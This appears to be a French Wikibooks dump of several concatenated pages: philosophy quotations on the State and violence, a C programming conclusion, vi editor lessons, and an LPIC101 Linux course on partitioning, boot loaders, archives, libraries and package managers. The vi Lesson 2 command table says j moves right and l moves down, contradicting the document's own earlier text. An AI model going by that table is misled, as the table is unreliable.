groupement de ce genre et dont l'une domine toutes les autres. Il s'ensuit que toutes les luttes à l'intérieur de L'Etat, la lutte entre la démocratie, l'aristocratie et la monarchie, la lutte pour le droit de vote, etc.., ne sont que les formes illusoires sous lesquelles sont menées les luttes effectives des différentes classes entre elles. ===L'idéologie allemande=== '''WEBER''' S’il n’existait que des structures sociales d’où toute violence serait absente, le concept d’Etat aurait alors disparu et il ne subsisterait alors ce que l’on appelle au sens propre l’anarchie. La violence n’est évidemment pas l’unique moyen normal de L'Etat, cela ne fait aucun doute mais elle est son moyen spécifique. De nos jours la relation entre Etat et violence est tout particulièrement intime. Depuis toujours les groupements politiques les plus divers à commencer par la parentèle ont tous tenu la violence physique pour le moyen normal du pouvoir. Par contre il faut concevoir L'Etat contemporain comme une communauté humaine qui, dans les limites d'un territoire déterminé la notion de territoire étant une de ses caractéristiques revendique avec succès pour son propre compte le monopole de la violence physique légitime. Ce qui est en effet le propre de notre époque, c'est qu'elle n'accorde à tous les autres groupements, ou aux individus, le droit de faire appel à la violence que dans la mesure où L'Etat le tolère : celui-ci passe donc pour l'unique source du droit « à la violence.» "l'État consiste en un rapport de domination de l'homme sur l'homme fondé sur le moyen de la violence légitime" '''KANT''' "Un État (civitas) est l'unification d'une multiplicité d'hommes sous des lois juridiques." ==La violence et l’Etat== '''ALAIN''' Chacun a pu remarquer, au sujet des opinions communes, que chacun les subit et que personne ne les forme. Un citoyen, même avisé et énergique quand il n'a à conduire que son propre destin, en vient naturellement et par une espèce de sagesse à rechercher quelle est l'opinion dominante au sujet des affaires publiques. « Car, se dit-il, comme je n'ai ni la prétention ni le pouvoir de gouverner à moi tout seul, il faut que je m'attende à être conduit ; à faire ce qu'on fera, à penser ce qu'on pensera. » Remarquez que tous raisonnent de même, et de bonne foi. Chacun a bien peut-être une opinion ; mais c'est à peine s'il se la formule à lui-même ; il rougit à la seule pensée qu'il pourrait être seul de son avis. Le voilà donc qui honnêtement écoute les orateurs, lit les journaux, enfin se met à la recherche de cet être fantastique que l'on appelle l'opinion publique. « La question n'est pas de savoir si je veux ou non faire la guerre. » Il interroge donc le pays. Et tous les citoyens interrogent le pays au lieu de s'interroger eux-mêmes. Les gouvernants font de même, et tout aussi naïvement. Car, sentant qu'ils ne peuvent rien tout seuls, ils veulent savoir où ce grand corps va les mener. Et il est vrai que ce grand corps regarde à son tour vers le gouvernement, afin de savoir ce qu'il faut penser et vouloir. Par ce jeu, il n'est point de folle conception qui ne puisse quelque jour s'imposer à tous, sans que personne pourtant l'ait jamais formée de lui-même et par libre réflexion. Bref, les pensées mènent tout, et personne ne pense. D'où il résulte qu'un Etat formé d'hommes raisonnables peut penser et agir comme un fou. Et ce mal vient originairement de ce que personne n'ose former son opinion par lui-même ni la maintenir énergiquement, en lui d'abord, et devant les autres aussi. '''RICOEUR''' Toujours le souverain tend à escroquer la souveraineté ; c’est le mal politique essentiel. Aucun Etat n’existe sans un gouvernement, une administration, une police : aussi ce phénomène de l’aliénation politique traverse-t-il tous les régimes, à travers toutes les formes constitutionnelles ; c'est la société politique qui comporte cette contradiction externe entre une sphère idéale des rapports de droit et une sphère réelle des rapports communautaires, et cette contradiction interne entre la souveraineté et le souverain, entre la constitution et le pouvoir, à la limite la police. Nous rêvons d'un Etat où serait résolue la contradiction radicale qui existe entre l'universalité visée par L'Etat et la particularité et l'arbitraire qui l'affecte en réalité ; le mal, c'est que ce rêve est hors d'atteinte. Histoire et vérité Programmation C Conclusion 654 20648 2005-09-05T10:55:15Z 153.109.35.15 /* Je ne sais pas */ {{Programmation C}} ==Conclusion== Le C est un langage plein de paradoxes. Pouvant aussi bien s'accomoder d'applications bas niveau que proposer des interfaces relativement proches des méthodes orientées objets, ce langage a de quoi séduire un large public. Pourtant force est de constater qu'il a fait souffrir beaucoup de personnes et pas seulement les programmeurs. Issu de l'époque où la mémoire et les capacités de calcul étaient encore des denrées rares et chères, les pionniers de la programmation ont trop souvent privilégié le côté bas niveau de ce langage. Il en résulta des applications difficilement maintenables, abusant des aspects les plus sombres qu'offre le C pour économiser le moindre cycle processeur. C'est de cette époque héroïque que sa réputation « d'assembleur plus compliqué et plus lent que l'assembleur » s'est forgée, renvoyant aux oubliettes ses aspects de plus haut niveau, qui pourtant mériteraient une meilleure estime. Il est extrêmement facile d'écrire un code C illisible, d'autant plus que les fonctions de la bibliothèque standard et surtout le langage lui-même contiennent beaucoup de pièges. Apprivoiser ce langage peut nécessiter une longue et pénible phase d'apprentissage. Nous espérons que cet ouvrage vous aura permis d'appréhender le C avec plus de sérénité et de casser certains mythes qui ont décidément la vie bien dure. Il existe beaucoup de bibliothèques de fonctions qui permettent de rendre plus humain la programmation. Hélas, le seul aperçu de ce qui est disponible nécessiterait un ouvrage à lui tout seul. Internet et ses moteurs de recherche restent de loin les meilleurs outils pour trouver ce dont vous aurez nécessairement besoin. Vi Leçon 1 656 12341 2004-10-25T13:21:53Z Guillaumito 46 {{Vi}} {{Vi}} === Deux modes === ''Vi'' suit un principe de fonctionnement particulier qui est un frein à son apprentissage, mais qui ensuite lui donne tout son intérêt. Lorsque ''vi'' est en « mode édition », les touches du clavier correspondent au texte écrit dans le fichier, mais lorsqu'il est en « mode commande », ces mêmes touches correspondent aux commandes de l'éditeur. [[Image:gvim.png|gvim une version graphique de vim]] '''Gvim : exemple d'une fenêtre de ''vi''''' === Une première séance de '''vi''' === Lancez '''vi''' sans arguments (tapez <code>vi</code> dans un terminal sous Unix, double-cliquez sous Windows). L'éditeur s'ouvre en mode commande et aucun fichier n'est ouvert, nous allons donc en ouvrir un pour l'éditer. La commande permettant d'ouvrir un fichier est <code>:e</code>, elle prend en argument le nom du fichier que l'on veut éditer, par exemple : <pre> :e mon_beau_fichier </pre> permet d'éditer le fichier appelé « mon_beau_fichier ». Maintenant que nous avons un fichier ouvert, nous allons le remplir. Pour cela, nous devons passer en mode édition, ce qui peut être fait avec la commande '''i''' ('''i'''nsertion). Tapez seulement <code>i</code>, '''vi''' passe en mode édition, ce qui est signalé par le message : <pre> -- INSERTION -- </pre> apparaissant en bas à gauche de la fenêtre. Tapez maintenant un texte que nous allons sauvegarder. Avant de pouvoir sauvegarder, nous devons retourner au mode commande, ce qui se fait grace à la touche <Echap>. Maintenant que nous sommes revenus dans le mode commande, nous pouvons sauvegarder avec la commande ''':w''' ('''w'''rite en anglais). Supposons maintenant que nous voulions modifier notre fichier, nous allons avoir besoin de nous déplacer, dans '''vi''', les déplacements se font uniquement en mode commande et avec les touches h, j, k et l. Cependant les versions modernes de '''vi''' telles que '''vim''' permettent de se déplacer avec les fléches et aussi de le faire en mode édition. Une fois que nous avons effectué nos modifications et sauvegardé, nous pouvons quitter avec la commande ''':q''' ('''q'''uitter). === Résumé des commandes de la leçon === {| |colspan=2| '''Au lancement, ''vi'' est en « mode commande »''' |- | <tt>:e ''mon_beau_fichier''</tt> | édite le fichier ''mon_beau_fichier'' |- |colspan=2| '''le curseur peut alors se déplacer dans le fichier, avec les flèches ou avec les touches h, j, k et l''' |- | <tt>i</tt> | passe en « mode édition » avant le curseur |- |colspan=2| '''le texte du fichier est alors modifiable''' |- | <ESC> | passe du « mode édition » au « mode commande » |- | <tt>:w</tt> | enregistre les modifications |- | <tt>:q</tt> | quitte ''vi'' |} Vi Leçon 2 657 12342 2004-10-25T13:22:32Z Guillaumito 46 {{Vi}} {{Vi}} Nous avons pour l'instant vu que nous pouvions nous déplacer avec les touches h, j, k et l (ou avec les fléches), chacune de ces commandes permettant de se déplacer d'un caractère (ou d'une ligne) respectivement vers la gauche, le bas, le haut ou la droite. Si nous voulons nous déplacer de plusieurs caractères (ou lignes), il suffit avant la commande de spécifier un nombre. Par exemple pour se déplacer de cinq caractères vers la gauche, il faut taper <code>5h</code>. Cette syntaxe n'est en fait pas spécifique aux commandes de déplacements, mais fonctionne avec toutes les commandes '''vi'''. === Résumé des commandes === {| | colspan=2| '''déplacer le curseur dans le texte (les flèches sont également utilisables bien sur) :''' |- | <tt>h</tt> | déplace le curseur vers la gauche |- | <tt>j</tt> | déplace le curseur vers la droite |- | <tt>k</tt> | déplace le curseur vers le haut |- | <tt>l</tt> | déplace le curseur vers le bas |- | colspan=2| '''pour se déplacer dans la ligne :''' |- | <tt>0</tt> (zéro) | déplace le curseur au début de la ligne (<tt>^</tt> indique le début de ligne pour les commandes) |- | <tt>$</tt> | déplace le curseur en fin de ligne |- | <tt>w</tt> | déplace le curseur d'un mot vers l'avant |- | <tt>b</tt> | déplace le curseur d'un mot vers l'arrière |- | colspan=2| '''pour se déplacer écran par écran :''' |- | <CTRL> <tt>f</tt> | un écran vers l'avant |- | <CTRL> <tt>b</tt> | un écran vers l'arrière |- | colspan=2| '''se déplacer dans le fichier :''' |- | <tt>'''n'''G</tt> | va à la ligne '''n''' |- | <tt>G</tt> | va à la fin du fichier |} Vi Découvrir vi 658 12343 2004-10-24T20:38:14Z Guillaumito 46 Vi Découvrir vi déplacé vers Vi Leçon 0 #REDIRECT [[Vi Leçon 0]] Installation de Linux & Gestion des Packages (LPIC101) 668 29218 2006-01-17T21:36:21Z JMRyan 1016 {{LPIC101}} == Présentation de la section == * 1.102.1 Conception de disposition (layout) de disque dur * 1.102.2 Installer un gestionnaire de démarrage (boot manager) * 1.102.3 Compiler et installer des programmes à partir des sources * 1.102.4 Gérer les librairies partagées * 1.102.5 Utiliser le gestionnaire de packages Debian * 1.102.6 Utiliser le gestionnaire de package Red Hat (RPM) == Conception de plan de partitionnement de disque dur == === Objectif === Description: ''Les candidats devraient être capables de concevoir le plan de partitionnement des disques d'un système Linux. Cet objectif inclut l'allocation de systèmes de fichiers ou d'espaces de swap en partitions ou disques, et l'adaptation de ce plan aux besoins auquels le système devra répondre. Cela inclut également de placer /boot sur une partition compatible avec les contraintes du BIOS pour pouvoir démarrer.'' Fichiers clés, termes et utilitaires: ;/ (système de fichiers racine) ;/var (système de fichiers) ;/home (système de fichiers) ;espace de swap ;points de montage ;partitions ;cylindre 1024 === Partitions === Lorque l'on fait une installation, il est nécessaire de créer au minimum deux partitions : * / (système de fichiers racine): partition contenant la distribution Linux. * Espace de swap : partition permettant au noyau de faire tourner plus de processus que la RAM seule ne pourrait en supporter. Si plusieurs disques sont disponibles, il est de bon ton de prévoir également des partitions séparées pour les répertoires /usr et /home. Chaque partition contiendra un type de système de fichiers (éventuellement tous différents) et pourra être montée sur le système actif dans l'arbre global des fichiers. Pour afficher la liste des systèmes de fichiers actifs, utilisez la commande mount. $ mount dev/hda3 on / type reiserfs (rw) proc on /proc type proc (rw) devpts on /dev/pts type devpts (rw) /dev/hda1 on /boot type ext2 (rw) shmfs on /dev/shm type shm (rw) usbdevfs on /proc/bus/usb type usbdevfs (rw) La partition de swap n'a pas besoin d'un système de fichiers. Le noyau pourra y accéder en mode brut (raw mode). Cela permet d'éviter les surcoûts dus aux appels systèmes nécessaires à l'utilisation d'un système de fichiers. === Problèmes relatifs à la vitesse des disques. === Avant de décider votre plan de partitionnement, vous devez connaitre exactement les types d'applications qui tourneront sur votre système. * Serveur de mails * Serveur Web * Applications graphiques s'appuyant sur X-Window * et plus encore Si votre système possède plusieurs disques, utilisez le plus rapide pour conserver la majorité de vos données. * / Contient la plupart des utilitaires systèmes qui ne sont pas souvent utilisés. Ils peuvent donc être envoyés sur le disque le plus lent. * /var/log contient beaucoup d'informations de log. Cette partition est mieux sur un disque rapide. * /usr est typiquement une partition séparée. Néanmoins, la prévision d'utiliser de nombreux clients démarrant de nombreuses applications graphiques pousse souvent à mettre cette partition sur un disque rapide. '''Exemple d'applications systèmes:''' Pour distribuer les e-mails, Sendmail écrits dans deux queues de mail, généralement /var/spool/mqueue et /var/spool/mail ainsi qu'à d'autres endroits. Apache utilise différents fichiers, deux fichiers de logs pour enregistrer et accéder aux pages actuelles. Apache passe un temps non négligeable à écrire dans ces fichiers de logs. === Mémoire virtuelle === Les informations sur la partition de swap peuvent être obtenues par la commande swapon swapon -s # montre la partition active. Pour obtenir des informations sur l'utilisation de la mémoire virtuelle, utilisez la commande vmstat. $ vmstat -n 1 procs memory swap io system cpu r b w swpd free buff cache si so bi bo in cs us sy id 5 0 1 184 3228 37684 92828 0 0 37 19 124 228 3 0 97 1 0 0 184 3476 37684 92596 0 0 0 0 102 368 0 0 100 2 0 0 184 3476 37684 92596 0 0 0 0 101 328 0 0 100 R:processes waiting for run time. b: processes in uninterruptable sleep. w: processes swapped out. swpd: virtual memory used (kB). free: Idle memory (kB). buff: Memory used as buffers (kB). si: Memory swapped in from disk (kB/s). so: Memory swapped to disk (kB/s). bi: Blocks sent to a block device (blocks/s). bo: Blocks received from a block device (blocks/s). in: The number of interrupts per second. cs: The number of context switches per second. us: user time, sy: system time, id: idle time. === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] # Ouvrez deux terminaux. Dans l'un, affichez périodiquement l'utilisation de la mémoire virtuelle. Dans l'autre, désactivez la mémoire virtuelle, puis réactivez-la. Observez les changements dans le premier terminal. # Quel est le plan de partionnement de votre système et combien de disques avez vous? # Quelle est la taille de votre espace de swap? == Installer un gestionnaire d'amorçage (boot manager) == === Objectif === Description: ''Le candidat sera capable de sélectionner, installer et configurer un gestionnaire d'amorçage. Cet objectif inclut la mise à disposition d'emplacements de démarrage alternatifs et d'options de démarrage pour backup (par exemple en utilisant une disquette).'' <b>fichiers clés</b><i> termes</i> et<tt> utilitaires</tt> :<br> <b>/etc/lilo.conf<br> /boot/grub/grub.conf</b><br> (à verifier : ne serait-ce pas plutôt /boot/grub/menu.lst ?) <tt>lilo<br> grub-install</tt><br> <i>MBR<br> superblock<br> first stage boot loader</i> === Gestionnaire d'amorçage === Un gestionnaire d'amorçage est installé sur le MBR (Master Boot Record). Quand un système est démarré, il charge dans la RAM ce qui est sur le MBR. Les deux gestionaires d'amorçage les plus courants sous Linux sont : * Lilo: LInux LOader. * Grub: Grand Unified Boot Loader. Un gestionnaire d'amorçage permet de sélectionner l'image à partir de laquelle on désire démarrer. Un système peut contenir plusieurs OS. Un gestionnaire d'amorçage permet d'activer des commandes interactivement et de passer des paramètres à l'image que l'on va démarrer. Initrd est le pilote qui sera utilisé pour construire un système de fichiers dans la RAM de facon à y monter les autres systèmes de fichiers et exécuter les programmes. GRUB est le gestionnaire par défaut de nombreuses distributions linux actuelles. Si vous installez Windows et Linux, installez d'abord Windows, et ensuite Linux. Car l'installation de Windows implique l'écrasement du MBR. === LILO vs. GRUB === Les deux sont utilisés pour charger une image d'un disque vers la RAM. GRUB possède les avantages suivants sur LILO: * Plus de commandes pré-OS. * Peut charger des images placées au-dela de la limitation BIOS du cylindre 1024. * Peut accéder à son fichier de configuration via le système de fichiers. Si vous utilisez LILO, à chaque fois que vous ajoutez une nouvelle image ou que vous changez une image, un nouveau LILO doit être installé sur le MBR. * LILO conserve ses informations de démarrage dans le MBR. * GRUB conserve ses informations de démarrage dans le filesystem (menu.lst). * LILO possède aussi un fichier de configuration: /etc/lilo.conf. Pour installer GRUB sur le MBR, utilisez <tt>grub</tt>. Cette commande va écraser le MBR. Pour installer LILO sur le MBR, utilisez <tt>lilo</tt>. Lilo va utiliser le fichier <tt>/etc/lilo.conf</tt> pour savoir quoi écrire sur le MBR. Exemple de <tt>/etc/lilo.conf</tt> : # LILO global section boot = /dev/hda # Cible d'installation de LILO : le MBR vga = normal # (normal, extended, ou ask) read-only # Monte le système de fichiers en lecture seule # LILO Linux section image=/boot/vmlinuz # Image à charger label=linux # Nom de l'entrée du menu root=/dev/hda1 # Partition racine pour le noyau initrd=/boot/initrd # disque en RAM # LILO DOS/Windows section other=/dev/hda3 label=windows # LILO memtest section image=/boot/memtest.bin label=memtest86 Exemple de <tt>menu.lst</tt> (fichier de configuration de GRUB): # GRUB default values timeout 10 # Démarer le noyau par défaut apres 10 secondes. default 0 # Noyau par défaut. # Grub for Linux section 0 title GNU/Linux # Titre root (hd0,1) # /dev/hda2 système de fichiers racine # Noyau et paramètres à passer au noyau. kernel /boot/vmlinuz root=/dev/hda2 read-only initrd /boot/initrd boot # Grub for DOS/Windows section title Winblows root (hd0,2) # /dev/hda3 makeactive chainloader+1 Liens sur GRUB: * [http://www.gnu.org/software/grub/manual/html_node/ GRUB Manual] * [http://www.gnu.org/software/grub GRUB homepage] * [http://autistici.org/grub/ Grub wiki] * [http://tldp.org/HOWTO/Linux+Win9x+Grub-HOWTO/index.html Linux+Win+Grub HowTo] * [http://promote-opensource.org/modules/mylinks/singlelink.php?cid=14&lid=94 Linux Recovery and Boot Disk Creation with Grub]. * [http://www.skyjammer.com/files/knoppix/ Win32 Grub] * [http://www.ameritech.net/users/gholmer/booting.html Booting with GRUB] * [http://grub4dos.sourceforge.net/ WinGRUB] * [http://www.geocities.com/lode_leroy/grubinstall/ GRUB Installer for Windows] * [http://grub.linuxeden.com/ GRUB for DOS] - Etablir un pont Dos/Windows vers Unix/Linux === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] 1) Installez GRUB sur une disquette et essayez de lancer votre image manuellement: mkfs -t ext2 /dev/fd0 mount /dev/fd0 /mnt mkdir -p /mnt/boot/grub cp /boot/grub/stage* /mnt/boot/grub/ cp /boot/grub/e2fs-stage1_5 /mnt/boot/grub/ touch /mnt/boot/grub umount /mnt grub root (fd0) setup (fd0) quit Maintenant, démarrez sur la disquette, et au prompt, sélectionnez le noyau sur le disque dur. root (hd0,1) kernel /boot/vmlinuz root=/dev/hda2 read-only initrd /boot/initrd boot 2) Créez le fichier /boot/grub/menu.lst et installez GRUB sur votre disque dur en utilisant l'utilitaire grub. 3) Ré-installez lilo. Changer le label linux de l'image du noyau par défaut dans /etc/lilo.conf et ré-installez le programme lilo sur le MBR. == Compiler et installer des programmes à partir des sources == === Objectif === Description: '' Les Candidats seront capables de compiler et installer un programme exécutable à partir de ses sources. Cet objectif inclus des adaptations simples au Makefile, par exemple modifier des chemins ou ajouter un répertoire d'inclusions supplémentaire.'' <b>fichiers clés</b><i> termes</i> et<tt> utilitaires</tt>:<br> <tt>gunzip<br> gzip<br> bzip2<br> tar<br> configure<br> make</tt><br> === Fichiers source === On appelle archive un ensemble de fichiers qui ont une relation et stockés dans un fichier unique (pour faciliter la copie, par exemple). La commande permettant de rassembler fichiers et sous-répertoires dans une archive est tar. C'est pourquoi il est courant de dire qu'un fichier tar est une archive. tar fonction & options fichiers Fonctions courantes: -c: Crée une nouvelle archive. -t: liste les fichiers rassemblés dans un fichier tar. -x: Extrait le contenu d'un fichier tar. Options courantes: -f file: Spécifie le nom du fichier tar. Exemples: tar cvf monbackup.tar ~ tar cvf usr.tar /usr tar tvf monbackup.tar tar xvf monbackup.tar On utilise généralement l'extension .tar pour toutes archives créées par l'utilitaire tar. === Compression de fichiers === La compression permet d'économiser l'espace de stockage et les besoins inhérents au transfert de fichiers. Il existe de nombreux utilitaires de compression de fichiers: * compress, uncompress # vieil algorithme Unix de compression * gzip, gunzip # Le plus utilisé * bzip2, bunzip2 # l'algorithme donnant la meilleur compression (au coût de la vitesse...) Une fois qu'une archive a été créée, elle peut être compressée. Exemples: $ ls -l backup.tar -rw-r--r-- 1 rarrigon users 22773760 nov 10 11:07 backup.tar $ gzip -v backup.tar backup.tar: 53.8% -- replaced with backup.tar.gz $ ls -l backup.tar.gz -rw-r--r-- 1 rarrigon users 10507393 nov 10 11:07 backup.tar.gz $ gunzip backup.tar.gz $ bzip2 -v backup.tar backup.tar: 2.260:1, 3.540 bits/byte, 55.75% saved, 22773760 in, 10077846 out. === Archivage de fichiers et compression === Il est possible de rassembler des fichiers et de compresser l'archive obtenue en une seule commande. Exemples: tar cvzf backup.tgz ~ # Backup du répertoire utilisateur avec gzip tar cvjf backup.tbz ~ # Backup du répertoire utilisateur avec with bzip2 tar xvzf backup.tgz # décompression et extraction de backup.tgz avec gunzip tar xvjf backup.tbz # décompression et extraction de backup.tbz avec bunzip2 Par défaut, tar utilise des chemins relatifs, mais il est possible de sauver des fichiers en chemin absolu en utilisant l'option -P. Dans ce mode, les fichiers seront toujours extraits au même endroit. === Chaîne d'outils GNU === Sous Linux, toutes les sources peuvent être compilées avec la chaine d'outils standard de GNU. * L'utilitaire make permet de construire un programme à partir de plusieurs fichiers sources. Il utilise les règles définies dans le Makefile. * gcc est un compilateur C compatible ANSI. * g++ est un compilateur C++. Beaucoup d'archives contiennent des fichiers d'information (README, INTALL) qui expliquent comment le programme doit être compilé et installé. Les fichiers Makefile.in et configure.in sont les fichiers de base servant à produire le Makefile final. Le fichier configure est généralement un script qui va explorer le système et produire un Makefile final. C'est pourquoi il est courant que l'installation d'un programme à partir des sources se résume à la suite de commandes : $ ./configure $ make $ make install La dernière commande demande généralement les droits super-utilisateur (root) pour s'exécuter avec succès. === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] # Faites une archive des répertoire /bin et /sbin. Quel utilitaire obtiendra la meilleur compression? Utilisez -v pour obtenir la réduction de taille en pourcentage. # Copiez le fichier /usr/src/packages/SOURCES/grub-09.tar.bz2 dans /tmp, et compilez les sources en lisant les fichiers README et INSTALL. # Trouvez un moyen de décompresser une archive .deb et .rpm. Qu'y-a-t'il dedans? # En une seule commande, compressez un nouveau fichier, puis décompreser le dans un autre endroit. == Gérer les bibliothèques partagées == === Objectif === Description: ''Les candidats seront capables de déterminer de quelles bibliothèques partagées un programme exécutable dépend, et de les installer si nécessaire. Les candidats seront capable de trouver à quel endroit les bibliothèques du système sont conservées.'' <b>fichiers clés</b><i> termes</i> et<tt> utilitaires</tt>: <br> <tt>ldd<br> ldconfig</tt><br> <b>/etc/ld.so.conf</b><br> <i>LD_LIBRARY_PATH</i><br> * Imprimer les dépendances en bibliothèques partagées * Installer de nouvelles bibliothèques * Construire les dépendances. === Bibliothèques partagées === Une bibliothèque est un ensemble de fonctions que les programmes peuvent réutiliser pour implémenter leurs fonctionnalités. Lorsque l'on construit un exécutable, ces bibliothèques sont "liées" au programme. Ce lien peut être statique ou dynamique. Un lien statique signifie que l'exécutable final contiendra les fonctions de la bibliothèque dans ses propres fichiers. Sous Linux, la bibliothèque prend alors l'extension .a (comme dans lib.a). Un lien dynamique signifie que la bibliothèque devra être chargée en mémoire RAM quand le programme aura besoin d'exécuter les fonctions qu'elle contient. Sous Linux, la bibliothèque prend alors l'extension .so (comme dans lib.so). Les répertoires par défaut des bibliothèques standards sont: * /lib: utilisé principalement par les programmes de /bin. * /usr/lib: utilisé principalement par les programmes de /usr/bin. Le fichier <tt>/etc/ld.so.conf</tt> est utilisé par le système pour indiquer les éventuelles autres localisations des bibliothèques. Pour créer un fichier cache utilisé par le chargeur de liens, utilisez ldconfig. Le fichier <tt>/etc/ld.so.cache</tt> sera géneré. Ce fichier contient en fait la liste des bibliothèques trouvées par le système dans les répertoires mentionnés par le fichier <tt>/etc/ld.so.conf</tt>. === Dépendance de bibliothèques. === Pour afficher la liste des dépendances d'un programme (ou d'une bibliothèque) en termes de bibliothèques partagées, utilisez ldd. ldd [-vdr] programme|bibliothèque Exemple: $ ldd -d -v /bin/cp libc.so.6 => /lib/libc.so.6 (0x40027000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) Version information: /bin/cp: libc.so.6 (GLIBC_2.1.3) => /lib/libc.so.6 libc.so.6 (GLIBC_2.1) => /lib/libc.so.6 libc.so.6 (GLIBC_2.2) => /lib/libc.so.6 libc.so.6 (GLIBC_2.0) => /lib/libc.so.6 /lib/libc.so.6: ld-linux.so.2 (GLIBC_2.1.1) => /lib/ldlinux.so.2 ld-linux.so.2 (GLIBC_2.2.3) => /lib/ldlinux.so.2 ld-linux.so.2 (GLIBC_2.1) => /lib/ldlinux.so.2 ld-linux.so.2 (GLIBC_2.2) => /lib/ld-linux.so.2 ld-linux.so.2 (GLIBC_2.0) => /lib/ld-linux.so.2 === Chargeur de liens === Le chargeur de liens '''ld.so''' cherche la bibliothèque dont un programme a besoin et la charge en mémoire RAM. L'ordre de recherche de ld.so est : * LD_LIBRARY_PATH * Le fichier cache /etc/ld.so.cache * Les répertoires par défaut /lib et /usr/lib. === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] == Utilisation du système de gestion des paquets de Debian == === Objectif === Description: Les candidats seront capables d'utiliser le système de gestion des paquets de Debian. Cet objectif inclut la capacité à utiliser des outils tant graphiques qu'en ligne de commandes pour installer, mettre à jour ou désinstaller des paquets, ainsi que pour trouver les paquets contenant des fichiers ou des logiciels (qu'ils puissent ou non être installés). Cet objectif inclut également la capacité à obtenir des informations sur le paquet, tels que la version, le contenu, les dépendances, l'intégrité du paquet et le statut d'installation (le paquet a-t-il déjà été installé). Fichiers clés, termes et utilitaires : unpack configure /etc/dpkg/dpkg.cfg /var/lib/dpkg/* /etc/apt/apt.conf /etc/apt/sources.list dpkg dselect dpkg-reconfigure apt-get alien Debian est une organisation de bénévoles dédiée au dévelopement de logiciels libres et à la promotion des idéaux de la Free Software Foundation. Le projet Debian a été fondé en 1993. Il compte plus de 900 développeurs. Debian supporte de nombreux processeurs: Alpha, ARM, HP PA-RISC, Intel x86, Intel IA-64, Motorola 680x0, MIPS, MIPS (DEC), PowerPC, IBM S/390, SPARC. === Dselect === L'utilitaire vous permettant d'ajouter ou retirer facilement des paquets sous Debian est dselect. Il permet de : * Choisir la méthode d'accès aux paquets, * Mettre à jour la liste des paquets disponibles, * Sélectionner les paquets que vous voulez sur votre système, * Installer et mettre à jour les paquets désirés, * Configurer n'importe quel paquet non encore configuré, * Désinstaller les logiciels non désirés. Le menu interactif de dselect permet l'ajout et la supression de paquets. Soyez très prudents lors de l'utilisation de ce programme, vous risqueriez d'endommager votre système. Exemple de menu dselect: Debian `dselect' package handling frontend. 0. [A]ccess Choose the access method to use. 1. [U]pdate Update list of available packages, if possible. 2. [S]elect Request which packages you want on your system. 3. [I]nstall Install and upgrade wanted packages. 4. [C]onfig Configure any packages that are unconfigured. 5. [R]emove Remove unwanted software. 6. [Q]uit Quit dselect. $ dselect - list of access methods Abbrev. Description cdrom Install from a CD-ROM. multi_cd Install from a CD-ROM set. nfs Install from an NFS server (not yet mounted). multi_nfs Install from an NFS server (using the CD-ROM set) (not yet mounted). harddisk Install from a hard disk partition (not yet mounted). mounted Install from a filesystem which is already mounted. multi_mount Install from a mounted partition with changing contents. floppy Install from a pile of floppy disks. apt APT Acquisition [file,http,ftp] === Apt-get === Si vous conaissez le nom du paquet que vous voulez installer, utilisez apt-get. Vous devez au préalable configurer le fichier sources.list. Ce même fichier est utilisé lorsque vous choisissez la méthode d'accès apt de dselect. Il se trouve dans <tt>/etc/apt</tt>. Exemple de fichier <tt>sources.list</tt> : cdrom:/cdrom cdrom:/mnt/cdrom file:/mnt file:/debian http://www.us.debian.org/debian http://non-us.debian.org/debian-non-US ftp://ftp.debian.org/debian ftp://nonus.debian.org/debian-non-US Pour mettre à jour l'information sur les paquets disponibles : $ apt-get update Pour installer un paquet : $ apt-get install paquet Pour remettre à jour automatiquement tous les paquets installés : $ apt-get upgrade === Apt-cache === Pour trouver le nom d'un paquet que vous voulez installer, utilisez apt-cache. Ses options principales sont : * add - ajoute un fichier paquet au cache source * showpkg - Montre quelques informations générales relatives à un paquet * stats - Montre quelques statistiques basiques * search - Fait une recherche dans la liste des paquets à partir d'une regex * show - Montre un enregistrement lisible du paquet * depends – Montre les informations de dépendances d'un paquet user@host:~$ apt-cache search gimp babygimp - An icon editor in Perl-Tk blackbook - GTK+ Address Book Applet cupsys-driver-gimpprint - Gimp-Print printer drivers for CUPS escputil - A maintenance utility for Epson Stylus printers filmgimp - A motion picture editing and retouching tool === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] # Installez un système avec Debian. # Apprenez à maîtriser dselect et utilisez-le pour désinstaller l'utilitaire tcpdump. # Avec apt-get, réinstallez le paquet contenant tcpdump. # Essayez kpackage pour installer ethereal. == Utilisation du système de gestion des paquets de Red Hat == === Objectif === Description: ''Les candidats devront être capables de gérer les paquets d'une distribution Linux en utilisant RPM. Cet objectif inclus la capacité à installer, mettre à jour et enlever des paquets, ainsi qu'obtenir des informations sur les paquets tels que leur statut, version, dépendance, intégrité et signature. Les candidats seront capable de déterminer quels fichiers un paquet contient, et quel paquet contient un fichier spécifique.'' <b>Fichiers</b><i> termes</i> et<tt> utilitaires</tt> clés:<br> <b>/etc/rpmrc<br> /usr/lib/rpm/*</b><br> <tt>rpm<br> grep</tt> === Gestionaire de paquets de Red Hat === Certaines distributions Linux utilisent RPM (pour "Red hat Package Manager) pour la gestion de la distribution des logiciels qui les composent. RPM tient à jour une base de données détaillée de tous les logiciels installés sur le système. Pour installer un paquet, jouez la commande: rpm -i [paquet].rpm Le paquet ne sera installé que si toutes les dépendances sont rencontrées et qu'aucun conflit avec un autre paquet n'est détecté. Pour mettre un paquet à jour, jouez la commande: rpm -U [paquet].rpm Les fichiers de l'ancien paquet seront enlevé du système et remplacés par les nouveaux fichiers. Pour enlever un paquet, jouez la commande: rpm -e [paquet] Le paquet ne sera enlevé que si ca ne crée pas de problème de dépendance. === Requêtes RPM === Il est possible d'interroger la base de donnée RPM avec l'option -q. $ rpm -q -i apache L'option -i sert à obtenir les informations sur les paquets L'option -l sert à lister les fichiers contenu dans un paquet. $ rpm -q -l pciutils /sbin/lspci /sbin/setpci /usr/share/doc/package/pciutils ... /usr/share/pci.ids L'option -f sert à trouver le paquet contenant le fichier mentionner. $ rpm -q -f /sbin/lspci pciutils-2.1.9-58 -s: liste des fichiers avec informations sur les status. -d: ne liste que les fichiers de documentation. -a: Liste tous les paquets installés. === Commandes RPM === Pour obtenir des informations sur un paquet ou un programme, utilisez rpmlocate. $ rpmlocate ipcs -q -i apache Searching for ipcs in rpm db: util-linux-2.11n-75: /usr/bin/ipcs /usr/share/man/man8/ipcs.8.gz Pour lister tous 